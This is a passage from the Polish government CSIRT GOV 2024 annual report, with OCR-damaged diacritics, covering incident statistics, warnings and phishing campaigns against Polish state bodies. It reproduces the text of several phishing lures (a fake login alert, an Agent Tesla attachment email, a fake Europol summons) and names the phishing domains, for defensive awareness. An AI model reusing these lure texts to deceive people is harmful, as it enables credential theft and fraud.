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Zespot Reagowania na Incydenty Bezpieczenstwa Komputerowego CSIRT GOV, prowadzony
przez Szefa Agencji Bezpieczenstwa Wewnetrznego, petni role Zespotu CSIRT poziomu
krajowego. Zespot CSIRT GOV odpowiada za koordynacje procesu reagowania na incydenty
komputerowe wystepujgce w obszarze wskazanym w art. 26 ust. 7 ustawy z dnia 5 lipca 2018 roku
o krajowym systemie cyberbezpieczenstwa. Jednym z jego podstawowych zadan jest
rozpoznawanie, zapobieganie i wykrywanie zagrozen godzacych w bezpieczenstwo, istotnych
z punktu widzenia ciggtosci funkcjonowania panstwa systemow teleinformatycznych organow
administracji publicznej lub systemow oraz sieci teleinformatycznych objetych jednolitym
wykazem obiektow, instalacji, urzadzen i ustug wchodzacych w sktad infrastruktury krytycznej,
a takze systemow teleinformatycznych wtascicieli i posiadaczy obiektow, instalacji lub urzadzen
infrastruktury krytycznej, o ktorych mowa w art. 5b ust. 7 pkt 1ustawy z dnia 26 kwietnia 2007 r.
0 zarzadzaniu kryzysowym.

Agencja Bezpieczenstwa Wewnetrznego
ul. Rakowiecka 2a
00-993 Warszawa

www.csirt.gov.pl
csirt@csirt.gov.pl

tel.: +48 22 58 59 373
faks: +48 22 58 58 833
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Szanowhni Panstwo!

Z przyjemnoscig prezentujemy Panstwu kolejng edycje Raportu o stanie bezpieczenstwa
cyberprzestrzeni RP. StaraliSmy sie w nim omowic¢ kwestie wyzwan oraz zagrozen w cyberprzestrzeni
Rzeczypospolitej Polskiej z perspektywy minionego roku 2024. W niniejszym opracowaniu dokonujemy
analizy dynamicznie zmieniajacego sie krajobrazu cyberbezpieczenstwa, opisujac istotne trendy, nowe
wektory atakow oraz potencjalne stabosci zabezpieczen, ktére moga wptynac na bezpieczenstwo obszaru
administracji rzadowej oraz infrastruktury krytycznej RP.

Domena cyfrowa stata sig rzeczywistoscig warunkujgca funkcjonowanie wszystkich aspektow
zycia, za czym idzie przeniesienie do sfery cyfrowej coraz wiekszego zakresu danych dotyczacych
uzytkownika, ustug publicznych, komunikacji czy finansow. Sprawia to, ze cyberprzestrzen stopniowo
postrzegana jest jako coraz bardziej efektywna domena do prowadzenia atakow o znaczacych skutkach
dla bezpieczenstwa panstwa i jego obywateli. Obecnie konflikty migdzy panstwami to nie tylko dziatania
kinetyczne, ale takze hybrydowe, w szczegdlnosci z uwzglednieniem sfery informacyjnej majacej miejsce
w cyberprzestrzeni. Moga one by¢ uzupetnieniem dziatan wojennych, ich alternatywa albo zwiastunem,
aktywnoscig poprzedzajaca dalsze operacje militarne. Dlatego wtasnie istotne jest postrzeganie
cyberbezpieczenstwa we wszystkich aspektach, a nie incydentalnie - gdzie incydenty stanowia tylko
przejaw okreslonych zagrozen.

W roku 2024 w dalszym ciggu utrzymywat sie stan podwyzszonego zagrozenia w cyberprzestrzeni
RP, co miato swoj przejaw w obowigzywaniu stopnia alarmowego CRP (do 29 lutego 2024 r. stopien
CHARLIE-CRP, od 1marca 2024 r. stopien BRAVO-CRP). W zwigzku z tym Zespdt CSIRT GOV stale realizowat
zadania majace na celu identyfikowanie i mitygowanie zagrozen dla cyberprzestrzeni RP, w szczegdlnosci
dla administracji rzadowej oraz infrastruktury krytycznej. Ujawniane byty przede wszystkim dziatania
socjotechniczne wymierzone w uzytkownikdw i administratorow, w tym ze strony grup sponsorowanych
tzw. APT, skanowania i proby wykorzystania najnowszych oraz znanych podatnosci, ataki typu Distributed
Denial of Service (DDoS), takze prowadzone przez grupy haktywistyczne, jak réwniez incydenty zwigzane
z publikacja danych uzytkownikow pochodzacych z wyciekow lub infekcji stacji roboczych.

W minionym roku miaty miejsce dwa szczegdlne wydarzenia z punktu widzenia bezpieczenstwa
procesow demokratycznych - wybory samorzadowe oraz wybory do Parlamentu Europejskiego. Wybory
stanowig niezmiennie wyzwanie pod katem zabezpieczenia ich prawidtowego przebiegu, w szczegolnosci
pod katem wrogich operacji dezinformacyjnych prowadzonych w domenie cyber. Zespot CSIRT GOV
realizowat dziatania majgce na celu wsparcie cyberbezpieczenstwa systemdw teleinformatycznych
zwigzanych z organizacja wybordw, prowadzac oceng bezpieczenstwa, szkolenia oraz rozpoznanie

cyberzagrozen dla procesu wyborczego.




Wybory nie byty jednakze jedynym istotnym wydarzeniem w 2024 roku - na przetomie lipca

i sierpnia w Paryzu odbyty sie bowiem XXXIII Letnie Igrzyska Olimpijskie, z ktorymi wigzat sig istotny
incydent dotyczacy dezinformacji. Prorosyjska grupa haktywistyczna Beregini we wspétpracy z grupg
Zarya opublikowaty w sierpniu 2024 dokumenty wykradzione z systemow teleinformatycznych Polskiej
Agencji Antydopingowej - dodatkowo zmodyfikowane tak, by dyskredytowac polskich sportowcow'2 Tego
rodzaju dziatalno$¢ typu hack-and-leak stanowi jednakze istotne zagrozenie dla podmiotéw z kazdego
sektora. Jak pokazuje przyktad POLADA, a takze przedstawiony w Rozdziale 3 incydent w Polskiej
Agencji Prasowej, z punktu widzenia bezpieczenstwa panstwa jako cele w zainteresowaniu aktorow
panstwowych i cyberprzestepcow pozostajg wszelkie podmioty, ktdre posiadaja potencjat do mozliwej
eskalacji wymierzonej w bezpieczenstwo kraju.

W niniejszym Raporcie zachgcamy Panstwa do zapoznania sie szczegGtowo z dziataniami
realizowanymi przez Zespot CSIRT GOV w 2024 roku, majac jednoczesnie przekonanie, ze nasze obserwacje
i rekomendacje beda pomocne w podniesieniu poziomu bezpieczenstwa w kluczowych obszarach - nie
tylko w odniesieniu do gtéwnych podmiotow, ale takze szerokiego tancucha dostaw, posiadajgcego czgsto
wiele stabych ogniw.

W pierwszym rozdziale zachgecamy do zapoznania sig, jak corocznie, ze statystykami dziatalnosci
Zespotu CSIRT GOV, gdzie prezentujemy naszg reaktywno$¢ na zgtoszenia potencjalnych incydentdéw oraz
proaktywnos¢ na polu identyfikacji zagrozen.

Opis trendow i zwigzanych z nimi zagrozen przedstawiony zostat w drugim rozdziale Raportu.
Prezentujemy w nim najciekawsze kampanie socjotechniczne zaobserwowane w 2024 roku, aktualng
charakterystyke atakow typu Distributed Denial of Service oraz istotne podatnosci w oprogramowaniu,
ktore badali$my oraz o ktdrych informowaliSmy w licznych ostrzezeniach w roku ubiegtym.

Najbardziej zaawansowane ataki ze strony grup APT zaprezentowane zostaty w rozdziale
trzecim, gdzie skupiamy sie na zagrozeniach pochodzacych ze strony grup motywowanych politycznie,
ideologicznie i finansowo, a ktdre stanowig najwigksze zagrozenie dla cyberbezpieczenstwa administracji
rzadowe;j i infrastruktury krytycznej. Szczegdlnie zachecamy do zapoznania sig z tym rozdziatem osoby,
ktore zainteresowane sg multidyscyplinarnym podejsciem do bezpieczenstwa narodowego ze wzgledu
na kontekst cyberatakdw jako zagrozenia hybrydowego. Wpisujg sie¢ one w nowoczesny sposdb

prowadzenia konfliktow, gdzie wrogie dziatania prowadzone sg ponizej progu wojny.

! https://antydoping.pl/informacja-dot-ataku-hakerskiego/
Zhttps://x.com/POLADA official/status/1823662132765864161




W czwartym rozdziale oméwione zostaty najwazniejsze kategorie zagrozen dotyczace ztosliwego

oprogramowania obserwowanego w analizach Zespotu CSIRT GOV. Ich zrédtem sg w gtownej mierze
wiadomosci email zgtaszane do analizy, ale takze probki zidentyfikowane na zainfekowanych stacjach
roboczych. Informacje zawarte w tym rozdziale w gtdwnej mierze bedg uzyteczne dla administratorow
poczty elektronicznej, aby mogli skutecznie i efektywnie monitorowaé korespondencje i filtrowac
niechciang zawartosc.

Tradycyjnie, jeden z rozdziatéw kazdej edycji Raportu zawiera takze podsumowanie zagrozen
w sieciach objetych ochrong systemu wczesnego ostrzegania ARAKIS GOV. Oprdcz statystyk, w rozdziale
pigtym znalazta sie takze charakterystyka prowadzonego w sieci Internet rekonesansu i powigzanych
z nim luk bezpieczenstwa. Materiat ten moze takze stanowi¢ element szkolenia uzytkownikow -
w dalszym ciggu obserwowane s3 domyslne, stownikowe albo inne nierekomendowane hasta do réznego
rodzaju ustug.

Kolejny rozdziat jako stata czes¢ Raportu, stanowi podsumowanie dziatan Zespotu CSIRT GOV
w zakresie oceny bezpieczenstwa, znanej takze jako testy penetracyjne. Podsumowanie to prezentuje
zidentyfikowane w 2024 roku problemy w analizowanych systemach, mogace skutkowa¢ powaznymi
incydentami bezpieczenstwa. Wart odnotowania jest fakt wykorzystywania w dalszym ciggu
oprogramowania nieposiadajacego wsparcia producenta, tj. w tzw. wersji end-of-life, a takze sam brak
aktualizacji oprogramowania. Jest to w dzisiejszych czasach szczegdlnie wazny element zabezpieczania
infrastruktury teleinformatycznej ze wzgledu na szybkos¢, z jakg mozliwy jest rekonesans i wykorzystanie
$wiezo opublikowanych podatnosci. W sytuacji, w ktdrej niezbedny jest balans pomiedzy szybkoscia
reakcji administratoréw a koniecznoscig weryfikacji poprawnosci dziatania aktualizacji w $rodowisku
testowym, atakujacy zawsze beda mieli przewage czasowg nad bronigcymi sie podmiotami.

W siodmym rozdziale prezentujemy wszystkie pozostate aktywnosci Zespotu CSIRT GOV. S3 to
¢wiczenia krajowe i zagraniczne, w ktorych udziat brali reprezentanci Zespotu, prelekcje przedstawicieli
CSIRT GOV, a takze realizacja innych zadan natozonych na Zespot CSIRT GOV stosownymi ustawami.

Na koniec proponujemy Panstwu zapoznanie sig z artykutem poswigconym zagrozeniu, ktorego
wzrost obserwowany jest w Polsce i na $wiecie. Zadna organizacja nie jest samotng wyspa i musi polega¢
w pewnym stopniu na zewnetrznych dostawcach i ustugach. Przeglad umow z firmami zewnetrznymi
powinien by¢ elementem statej i regularnej analizy w ramach kazdego podmiotu, w szczegdlnosci
podmiotu istotnego z punktu widzenia bezpieczenstwa panstwa i jego obywateli. Kolejne przyktady
kompromitacji infrastruktury tzw. kontraktorow pokazuja, iz wrazliwe z punktu widzenia operacyjnosci
organizacji informacje moga zosta¢ upublicznione pomimo restrykcyjnej polityki wewnetrznej, gdy

firmy wspotpracujagce nie realizujg procesu utrzymania cyberbezpieczenstwa w ramach wtasnej




infrastruktury. Pamigtajac, ze bezpieczenstwo to przede wszystkim dynamiczny proces, warto poddawac

regularnej weryfikacji korespondencje, umowy, zdalne dostepy oraz przekazywane dane do wszystkich
ustugodawcow.

W kontekscie zaprezentowanych w Raporcie zagrozen, w tym krytycznych podatnosci
identyfikowanych w 2024 roku oraz technik stosowanych przez zaawansowane grupy cyberofensywne,
w dalszym ciggu niezwykle aktualny pozostajg zagrozenia dla poczty i ustug VPN, ktorym zostat
poswiecony koncowy rozdziat Raportu za rok 2023. Niewatpliwie ten rodzaj zagrozen, w szczegélnosci
w kontekscie atakow o charakterze cyberwywiadowczym, bedzie takze dominowat w 2025 roku.

Podsumowujac miniony rok, pragniemy podziekowac za wspétprace catemu obszarowi krajowego
systemu cyberbezpieczenstwa, a w szczegolnosci administratorom i zespotom IT, zespotom CSIRT MON
i CSIRT NASK, a takze sektorowym zespotom CSIRT.

Zyczymy mitej lektury,
Zespot CSIRT GOV
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Statystyki roczne

W roku 2024 Zespot CSIRT GOV zarejestrowat tacznie 17 439 zgtoszen o potencjalnym wystgpieniu

incydentu teleinformatycznego w swoim obszarze kompetencyjnym, sposrod ktorych 3 991 zostato

zakwalifikowanych jako faktyczne incydenty bezpieczenstwa teleinformatycznego.
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Wykres 1. Liczba zarejestrowanych zgtoszen oraz incydentéw w latach 2022-2024

Wskazana statystyka zawiera zgtoszenia oraz incydenty obstugiwane w ramach Zespotu

CSIRT GOV, nie uwzgledniajac zgtoszen pochodzacych z systemu ARAKIS GOV. Zaobserwowac¢ mozna

spadek

liczby zgtoszen, co bezposrednio przektada sie na liczbe incydentow w 2024 roku. W ocenie

Zespotu CSIRT GOV niniejsza zmiana uksztattowata sie poprzez rozne czynniki w postaci:

proaktywnych dziatan prowadzonych przez Zespot CSIRT GOV w zakresie zwiekszania
$wiadomosci uzytkownikow poprzez prowadzone szkolenia. W 2024 roku przedstawiciele
CSIRT GOV przeprowadzili szkolenia oraz konsultacje dla okoto 1900 osdb, co stanowi znaczacy

wzrost wzgledem 2023 roku, w ktérym to przeszkolono okoto 500 o0sdb;

informowania o zidentyfikowanych podatnosciach w ramach obszaru kompetencyjnego;
biezacego wydawania - stosownych do poziomu zagrozenia CRP - rekomendacji CSIRT GOV,
regularnej dystrybucji wskaznikdw kompromitacji dla monitorowanych kampani;
cyklicznego prowadzenia ocen bezpieczenstwa systemdw teleinformatycznych;

wdrazania przez instytucje rozwigzan bezpieczenstwa mitygujacych ataki w ich wczesnych
fazach.

10




Analiza poszczegolnych kwartatow w oparciu o incydenty zgtoszone przez
podmioty krajowego systemu cyberbezpieczenstwa

W ramach poszczegolnych kwartatow 2024 roku liczba zarejestrowanych zgtoszen i incydentdw
utrzymywata sie na zblizonym poziomie. Najwigksza liczba incydentow zostata odnotowana w Il kwartale,
co byto spowodowane wzrostem przypadkow niedostepnosci zasobow oraz publikacjami danych

wrazliwych w zrddtach otwartych, czyli tzw. ,wyciekami”.
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Wykres 2. Liczba zarejestrowanych zgtoszen oraz incydentéw w poszczeg6inych kwartatach 2024 roku
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Statystyka pod wzgledem kategorii incydentow zgtoszonych przez podmioty
krajowego systemu cyberbezpieczenstwa

Ponizszy wykres przedstawia podziat zarejestrowanych w 2024 roku incydentdw bezpieczenstwa
teleinformatycznego pod katem kategorii zagrozenia wraz z poréwnaniem ilosciowym wzgledem roku

poprzedniego.

m2023

2024

Wykres 3. Liczba incydentow zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa

w latach 2023 i 2024 z podziatem na kategorie

Porownujgc liczbe incydentow w poszczegolnych kategoriach, najbardziej istotny wzrost
nastgpit w kategorii PODATNOSC, ktéra byta zwigzana ze identyfikowanymi przez Zespot CSIRT GOV
lukami bezpieczenstwa wynikajgcymi z podatnosci zasobdw i ustug dostepnych z poziomu sieci Internet
podmiotdw bedgcych we wtasciwosci CSIRT GOV. Kazdorazowo informowano podmioty badz podejmowano
z nimi wspotprace celem eliminacji zidentyfikowanych podatnosci.

W ramach kategorii PUBLIKACJA wystapity liczne upublicznienia danych wrazliwych w ramach
wyciekow, zawierajgce m.in. dane logowania do ustug elektronicznych, prywatne klucze PGP czyinformacje
o specyfikacji infrastruktury teleinformatycznej instytucji.

Wsrod aktywnosci rejestrowanej w kategorii SOCJOTECHNIKA Zespot CSIRT GOV identyfikowat
wiadomosci phishingowe, ktorych celem byto zarowno wytudzenie danych logowania do ustug
elektronicznych lub innych danych wrazliwych, infekcja ztosliwym oprogramowaniem, jak rowniez

wytudzenie srodkow finansowych.
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Zespot CSIRT GOV zarejestrowat rowniez liczne incydenty zwigzane z kategoria NIEDOSTEPNOSC.

Posrad niej identyfikowano gtownie zdarzenia, ktdre zaklasyfikowano jako ataki DoS/DDoS, szerzej
opisane w stosownym rozdziale raportu rocznego. Wptyw na te kategorie zagrozenia w gtdwnej mierze
miata rowniez aktywnos$¢ grup haktywistycznych, ktdre swoje dziatania ukierunkowujg na panstwa
NATO i Unii Europejskiej w zwigzku z konfliktem zbrojnym w Ukrainie. Ataki DDoS, za ktérymi stoja tego
typu grupy, majg na celu przede wszystkim osiggnigcie efektu w postaci wydzwigku propagandowego
podejmowanych aktywnosci.

W ramach kategorii ATAK zarejestrowano zdarzenia obejmujace proby przetamania zabezpieczen
poprzez wykorzystanie podatnosci, ataki typu bruteforce, kompromitacje kont i systemow oraz eksfiltracje
danych z przejetych zasobow TI.

Kategoria KASKADA odnosi sig do zgtoszen i incydentdw zwigzanych ze zdarzeniami o charakterze
terrorystycznym, na podstawie art. 27 ustawy o KSC®. Sa to wszelkie czynnosci dazace do minimalizacji
zagrozenia o charakterze terrorystycznym podejmowane przez CSIRT GOV w zakresie koordynacji obstugi
incydentow. W uprzednich latach CSIRT GOV nie przezentowat informacji o realizowanych zadaniach we
wskazanym zakresie, w tym ich liczbie.

SKANOWANIE, czyli rekonesans infrastruktury teleinformatycznej pod katem identyfikacji
podatnych systemow i ustug, to kategoria, w ktorej odnotowano w 2024 roku wzrost wzgledem roku
poprzedniego. Kategoria ta obejmuje zdarzenia wskazujgce na mozliwos$¢ przygotowania ofensywnych
dziatan majacych na celu przetamanie zabezpieczen lub naruszenie dostepnosci ustug.

W kategorii TRESCI zarejestrowano niemal niezmieniong liczbe incydentéw w stosunku
do poprzedniego roku. Kategoria ta odnosi sig przede wszystkim do incydentdw naruszajgcych szeroko
pojmowane dobra publiczne, np. informacje naruszajace wizerunek podmiotéw panstwowych czy
publikujgcych tresci dezinformacyjne. W tym przede wszystkim masowe wykorzystywanie wizerunku
0sob sprawujacych kierownicze funkcje w panstwie, m.in. celem wytudzenia Srodkéw finansowych
od obywateli.

W ramach kategorii WIRUS Zespot CSIRT GOV obstugiwat zgtoszenia dotyczace ztosliwego
oprogramowania zidentyfikowanego na stacjach roboczych, serwerach oraz urzadzeniach sieciowych.
W 2024 roku zarejestrowano zblizong do roku 2023 liczbe tego rodzaju incydentow.

Ponadto w 2024 roku Zespdt CSIRT GOV zarejestrowat 10 zgtoszen incydentow powaznych
w rozumieniu ustawy o krajowym systemie cyberbezpieczenstwa. Wszystkie incydenty powazne miaty
charakter awarii i nie wskazywaty na dziatania intencjonalne czy o podtozu cyberatakéw. W niniejszej
kategorii wyrdzni¢ mozna szczegdlnie awarie systemow SCADA w srodowiskach automatyki przemystowe;j
operatorow infrastruktury krytyczne;j.

3 Ustawy z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczenstwa.
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Statystyka incydentow pod wzgledem sektorow, w oparciu o incydenty

zgtoszone przez podmioty krajowego systemu cyberbezpieczenstwa

Biorgc pod uwage podziat incydentow na sektory nalezy wskazac, ze w 2024 roku najwigksza
liczba incydentow, podobnie jak w roku 2023, dotyczyta sektora Instytuciji oraz Operatordw Infrastruktury
Krytycznej. Kolejnymi sektorami pod wzgledem liczby zarejestrowanych incydentow byty odpowiednio

sektory: Organ Panstwowy, Urzad, Ministerstwo, Pozostate oraz Stuzba.
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Wykres 4. Liczba incydentow zgtoszonych przez podmioty krajowego systemu cyberbezpieczenstwa w 2024 roku
Z podziatem na sektory

W kategorii POZOSTALE zarejestrowane zostaty incydenty obstuzone przez Zespét CSIRT GOV, ktore
wystapity w podmiotach spoza wtasciwosci, jednakze stanowity zagrozenie dla obszaru pozostajgcego
w zakresie kompetencyjnym CSIRT GOV. Tego typu dziatania obejmujg réwniez zgtoszenia ztosliwych
domen oraz ustug do rejestratoréw czy hostingodawcow celem podjecia dziatan w oparciu o stosowne

regulaminy $wiadczenia ustug.
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Ostrzezenia dystrybuowane przez CSIRT GOV w 2024 roku

Zadania natozone przez ustawe o krajowym systemie cyberbezpieczenstwa w zakresie wydawania
komunikatéw o zidentyfikowanych zagrozeniach cyberbezpieczenstwa realizowane sa przez CSIRT GOV
przede wszystkim w formie ostrzezen. Ponizszy wykres przedstawia liczbe ostrzezen wydanych przez
Zespot CSIRT GOV w roku 2024 z podziatem na kategorie.
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Wykres 5. Liczba ostrzezeri wydanych przez CSIRT GOV w 2024 roku z podziatem na kategorie ostrzezen

W 2024 roku Zespot CSIRT GOV rozestat 646 ostrzezen do podmiotéw pozostajacych w jego
wtasciwosci, stale informujac o identyfikowanych zagrozeniach cyberbezpieczenstwa.

Najwieksza liczba dystrybuowanych w 2024 roku ostrzezen dotyczyta wskaznikow kompromitacji
(IoC) dla zidentyfikowanych zagrozen, w gtdwnej mierze opracowanych na podstawie raportow z systemu
ARAKIS GOV.

Kolejng kategorig ostrzezen byty podatnosci zidentyfikowane w szeroko wykorzystywanych
ustugach, jak rowniez btedy konfiguracyjne wykryte w stosowanych przez podmioty systemach.

Przekazywano rowniez informacje o atakach socjotechnicznych wymierzonych w podmioty
pozostajgce we wtasciwosci CSIRT GOV oraz m.in. osoby sprawujace kierownicze funkcje w panstwie.
W tej kategorii znalazty sie informacje o zagrozeniach przede wszystkim kampaniami socjotechnicznymi

majacymi na celu wytudzenie danych logowania do ustug elektronicznych, danych osobowych, Srodkow
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finansowych czy innych informacji dotyczacych osoby lub podmiotu. Ostrzezenia w tej kategorii réwniez

objety informacje o kampaniach dystrybuujacych ztosliwe oprogramowanie, wykorzystujgcych domeny
0 nazwach podszywajacych sie pod oficjalne strony rzadowe, jak rowniez wykorzystujacych wiadomosci
email bazujace na podszyciu pod organy administracji panstwowe;j.

Zespot CSIRT GOV informowat réwniez o zarejestrowanej aktywnosci grup haktywistycznych,
trudnigcych sie prowadzeniem atakow majacych na celu wywotanie niedostgpnosci atakowanej ustugi
(DDoS/DoS). W przypadku uzyskania informacji o planowanych badz przeprowadzonych atakach,

kontaktowano sie z zagrozonymi podmiotami.
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ZAGROZENIA IDENTYFIKOWANE
W ROKU 2024



Wsrod gtdwnych zagrozen identyfikowanych przez Zespét CSIRT GOV w 2024 roku wymieni¢

mozna ataki poprzez kampanie socjotechniczne, ataki na dostepnosc ustug (DoS/DDoS) oraz zagrozenia
wynikajace z podatnosci stosowanych produktdw i ustug.

W roku 2024 zarejestrowano tacznie 815 incydentdw zaklasyfikowanych jako ataki socjotechniczne
ukierunkowane na operatoréw infrastruktury krytycznej badz administracje panstwowa. Gtdwnymi
zagrozeniami wskazanego typu byty niezmiennie kampanie majgce na celu wytudzenie danych logowania
do ustug elektronicznych lub dystrybucje ztosliwego oprogramowania. Ponadto nierzadko miaty one
charakter atakow spearphishingowych, ukierunkowanych m.in. na osoby sprawujace kierownicze funkcje
w administracji panstwowej.

Majac na wzgledzie analize zagrozen w CRP, Zespot CSIRT GOV monitorowat takze zagrozenia
zwigzane z atakami DDoS (ang. Distributed Denial of Service) na infrastrukture teleinformatyczna
podmiotow znajdujacych sig w jego obszarze kompetencyjnym.

Ponadto w ramach niniejszego rozdziatu zaprezentowane zostaty podatnosci zarejestrowane
przez Zespot CSIRT GOV w 2024 roku, mogace znaczaco wptynaé na ciggtosc dziatalnosci podmiotow

pozostajacych w jego wtasciwosci.
Kampanie phishingowe

Oprdcz dystrybucji ztosliwego oprogramowana oraz wytudzen danych logowania szczegdlng
kategorig zagrozenia pozostajg wcigz kampanie socjotechniczne prowadzone w ramach dziatalnosci
typu state-sponsored, w tym grup APT. Wsrod incydentdow socjotechnicznych obstugiwanych przez
CSIRT GOV, kampanie te stanowia znaczaca czes¢, gtownie ze wzgledu na kluczowe znaczenie podmiotow
pozostajacych we wtasciwosci Zespotu. Kazdorazowa analiza ukierunkowanych kampanii pozwala lepiej
zrozumiec strategie grup APT, co przektada sie na zwigkszone mozliwosci zabezpieczenia podmiotow
i instytuciji.

Wybranym kampaniom atrybuowanym do grup APT poswigcono oddzielng czes¢ raportu,
natomiast w ramach niniejszego rozdziatu przedstawiono opis ogdlny zarejestrowanych kampanii
w podziale na poszczegdlne kwartaty.

W niniejszym zestawieniu pominigte zostaty zidentyfikowane kampanie nieodnoszace sie
lub niemajace wptywu na obszar kompetencyjny CSIRT GOV, jak np. wiadomosci podszywajgce
sigc pod popularnych przewoznikow paczek, wytudzenia $rodkéw finansowych na platformach

spotecznosciowych czy ataki typu vishing.

18




Zagrozenia odnotowane w | kwartale 2024 roku

Pierwszg szeroko dystrybuowana kampanig socjotechniczng zarejestrowang w 2024 roku byty
wiadomosci zinformacja o rzekomych wielokrotnych probach logowania na skrzynke poczty elektronicznej

uzytkownika ustugi pocztowej Wirtualnej Polski, wystane na liczne adresy odbiorcow w domenie gov.pl.

Repl

Wazne Powiadomienie: Wiele Nieudanych Préb Logowania

Wazne Powiadomienie:
Wiele Nieudanych Prob Logowania

Szanowny uzytkowniku,

Otrzymujesz to powiadomienie, poniewaz zarejestrowano trzy nieudane proby
logowania do Twojego konta.

Aby zabezpieczy¢ Twoje konto i uniknac jego zablokowania, zalecamy podijecie
nastepujacych krokow:

1. Sprawdz, czy uzywasz poprawnej nazwy uzytkownika i hasla.

2. Jesli zapomniates hasla, skorzystaj z opcji resetowania hasta.

3. Monitoruj swoje konto pod katem nieautoryzowanych dziatan.
Jesli to byles/as Ty, mozesz zignorowac to powiadomienie. Jesli jednak uwazasz, ze
ktos probuje nieautoryzowanie uzyskac dostep do Twojego konta, prosimy o
podjecie odpowiednich dziatan.
Dzigkujemy za zrozumienie.

Z powazaniem,
Nazwa Twojej Firmy

©782799c4753b36491ae27dd61102061

Rysunek 1. Phishingowa wiadomosc¢ email z odno$nikiem do witryny wytudzajgcej poSwiadczenia logowania

Adwersarz wysytat wskazane wiadomosci mail z adresu w domenie wp.pl-form.com, do ktdrej
odwotywato sie rowniez hipertgcze zawarte w korespondenciji. Na stronie w ramach wskazanej domeny
dostepnybytspreparowanypanellogowaniadoustugi,llogin”, odpowiedzialnejzaprzeprowadzenie procesu

uwierzytelniania i autoryzacji uzytkownika do ustug w ramach grupy WP, w tym poczty elektroniczne;.
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< @login™

Zaloguij sie
Bezpieczenstwo zapewnia
He.
@login
Zobacz co zyskujesz:
O Jeszcze wieksze bezpieczenstwo Twojego konta dzieki
logowaniu dwustopniowemu o
Szybkie | wygodne logowanie jednym kliknieciem na
stronie | w aplikacji poczty
Logowanie jednym kilknieciem do wielu serwisow i uslug:
Wirtualna Polska, 02.pl, money.pl, Pudelek,
SportoweFakty, Domodi, Wakacje.pl, Homebook, WP Pilot
[
Dowiedz sie wiacej
ke P E sBe wie 1 1 E
s 8l Pomo

Rysunek 2. Spreparowany panel logowania do ustugi 1login

Kolejnym zdarzeniem byta zarejestrowana przez Zespot CSIRT GOV kampania phishingowa
wymierzona w organy polskiej administracji rzadowej. Wiadomosci o lakonicznym temacie oraz
tresci sprawia¢ miaty wrazenie, jakoby byta to czes¢ uprzednich ustalen badz korespondencji miedzy
nadawca a odbiorcg wiadomosci. Warto zwrdci¢ uwage na fakt, iz wiadomosci te zostaty wystane
ze skompromitowanej skrzynki poczty elektronicznej jednego z urzedow powiatowych, co mozna uznaé
za probe legitymizacji wskazanej korespondencji. Zataczniki do niniejszej wiadomosci stanowity pliki
o nazwach dodatkowe (02).docx.exe lub dodatkowe (03).docx.exe umieszczone w archiwum o tozsame;j

nazwie, identyfikowane jako ztosliwe oprogramowanie typu trojan Agent Tesla.

To undisclosed-recipients:;

Wyniki

Zapomniatem zataczy¢ dodatkowy dokument.

v [ 1 attachment: doda

i dodatkowe (03) docx.z 719 KB

Rysunek 3. Phishingowa wiadomo$¢ e-mail wraz ze ztoSliwym zatgcznikiem
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W marcu 2024 roku zarejestrowano kampanig socjotechniczng, w ramach ktdrej atakujacy podjat

probe wytudzenia danych logowania do ustugi poczty elektronicznej pracownikéw jednej z kluczowych
instytucji panstwa w sektorze transportu lagdowego. Wiadomosci wystane byty z adresu email w domenie
mun.ca, nalezacego do Uniwersytetu Pamigci Nowej Fundlandii w Kanadzie. W tresci korespondencji
znajdowata sie informacja o rzekomym braku aktualizacji konta odbiorcy. W ramach opisywanej
aktualizacji odbiorca proszony byt, aby klikng¢ w zawarte hipertacze, ktore odwotywato sie do strony

w domenie quakelatam.com.

hristine _

(]

Zaktualizuj swoje konto poczty internetowe;j

Drogi Uzytkowniku Konta,

Z naszych danych wynika, ze Twoje konto nie zostalo zaktualizowane, co moze prowadzi¢ do jego zamkniecia. Jesli nie zaktualizujesz swojego konta, nie bedziesz mogt
ponownie wysylac ani odbierac e-maili i nie bedziesz juz mie¢ dostepu do wielu naszych najnowszych funkcji ulepszonych Rozméw, Kontaktow i Wigcznikow.

Poswiec chwile na aktualizacje swojego konta, aby méc korzystac z szybszej i w peini funkcjonalnej poczty

Uaktualnij konto

Uwaga: Brak aktualizacji skrzynki pocztowej spowoduje trwatg dezaktywacje Twojego konta.

Dzieki,
Administrator systemu

Rysunek 4. Phishingowa wiadomo$¢ e-mail wraz z hipertaczem do podstawionego panelu logowania

Witamy w internetowej weryfikacji poczty internetowej

Wypeinij ponizszy formularz, aby zweryfikowaé swoje konto

Domena\Nazwa uzytkownika: |

Adres e-mail :

Hasfo :

Potwierdz hasto :

Rysunek 5. Spreparowany panel logowania
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Zagrozenia odnotowane w Il kwartale 2024 roku

W Il kwartale 2024, jak i przez reszte 2024 roku zanotowano liczne kampanie podszywajgce sie
pod Policje oraz Europol.

Atakujacy wysytat korespondencje o roznych tytutach i z roznych adreséw email, ktore - jak
wywnioskowac mozna z dostepnych oryginatow wiadomosci - zostaty skompromitowane. Na zatgczonym
rysunku zauwazy¢ mozna, iz atakujacy wykorzystat adres w domenie msn.com, majacy zapewnic¢ wysoka
szanse dostarczenia wiadomosci. Korespondencja ta zawierata informacje o koniecznosci zapoznania sie
odbiorcy z rzekomym wezwaniem policyjnym znajdujacym sig w zatgczniku. Wnioskowac mozna, iz tres¢
wiadomosci napisana zostata przez osobe obcojgzyczng za pomocg translatora tekstu, na co wskazuja

liczne btedy jezykowe.

= EUROPOL - POLICIA o

@msn.com

Reply to bpm.pt.eu@gmail.com <bpm.pteu@gmail.com> &

KONWOKACJA

Dla Twojej uwagi,

zapoznanie sie z dotyczgcym Cie wezwaniem w zatgczonych aktach.
Czekamy zatem na Panstwa wyjasnienia pod tym adresem:

Z powazaniem

MIEDZYNARODOWA POLICJA

v [ 1 attachment: KO

B KONWOKACIA.pdf 221KB

Rysunek 6. Phishingowa wiadomo$¢ email

Do korespondencji dotgczony bytdokument PDF informujacy odbiorce o rzekomych postepowaniach
sgdowych, jakie maja sig toczy¢ wobec niego w kontekscie wymienionych w dokumencie przestepstw.
Celem uniknigcia dalszego procedowania sprawy karnej, odbiorca miat sie skontaktowac z atakujgcym
pod adresem w domenie gmail.com. Wskazany adres zostat réwniez ustawiony jako skrzynka pocztowa
do odpowiedzi na dalsze wiadomosci. Pliki opatrzone byty logo rdznych stuzb i instytucji, w tym Policji
i Europolu, a takze licznymi odniesieniami do kodeksu karnego.

Wskazane wiadomosci oraz zatgczniki do nich cechowaty sie wysokim stopniem unikalnosci,
